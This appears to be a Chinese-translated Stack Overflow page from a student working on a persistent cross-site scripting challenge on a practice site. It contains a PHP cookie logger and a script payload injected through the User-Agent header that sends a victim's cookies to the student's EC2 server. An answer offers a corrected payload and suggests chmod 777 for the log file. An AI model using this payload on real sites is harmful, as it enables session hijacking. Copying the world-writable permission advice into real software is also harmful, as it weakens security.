繁体   English   中英

变量不会通过URL传递给PHP

[英]Variable won't be passed to PHP through URL

我正在执行此持久性跨站点脚本挑战作业,我们应该通过useragent注入来窃取cookie。 可以在此页面上找到有关此挑战的更多详细信息(基本41)

背景:

由于此挑战是在玩具网站上进行的,因此该网站模拟了受害者在为我们查看页面。 我们需要做的是将代码注入到挑战页面服务器,并通过该代码窃取受害者的cookie,并将这些cookie发送到我们自己设置的Web服务器。 成功收集受害者的Cookie之后,我们可以将自己的Cookie设置为这些值以应对挑战。

到目前为止,我做了什么:

  1. aws ec2上设置Web服务器。 我相信这是centos,但由于无法安装centos-release软件包或类似的东西而找不到更多的发行信息。 我只能找到: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2 入站规则设置为ssh端口22和http端口80。 httpd,mysql,php已安装并经过测试工作。 /var/www/http下的index.html文件在浏览器中正常显示。

  2. cookie_stealer.php放在/var/www/http

    我的cookie_stealer.php代码:

<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
  1. 将代码注入Chrome用户代理:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>

到目前为止,我已经成功注入了代码,但是document.cookie的值不会传递到我的php文件中。 因此,我目前专注于这个问题。

  1. 额外的信息

我正在测试如何通过url测试将变量传递给php:

http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh

有趣的是,在$_GET['c']行之后, $_GET['c']下行添加到我的php文件中之后:

echo 'Cookie: ' . $cookie . "\r\n";

c的值可以以ahhh显示在网页上,但不会写入log.txt log.txt仅记录以下内容:

Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c

我的问题是,如果将变量c传递到服务器上的$cookie ,为什么在显示ahhh的网页上,该三元运算符总是返回'There is no variable c' 谁能告诉我为什么会这样,或者我还能在哪里看? 任何提示将不胜感激!

您可能需要更改文件许可权才能写入该日志文件。 试试: chmod -R 777 log.txt

我的第一个想法是:

您可能需要URL附加cookie文本。 可能其中有一些东西破坏了您的URL请求。

<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>

然后,在PHP中,您可能必须解码,也可以不必解码,如果可以,可以这样做:

 $cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';

例如,您的教练我已经在其中插入#号或其他符号。 我不能肯定地说,因为我从未通过查询参数发送过cookie,但是我不认为它们会以这种方式发送。

无论如何,这太多了,请发表评论,希望对您有所帮助!

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM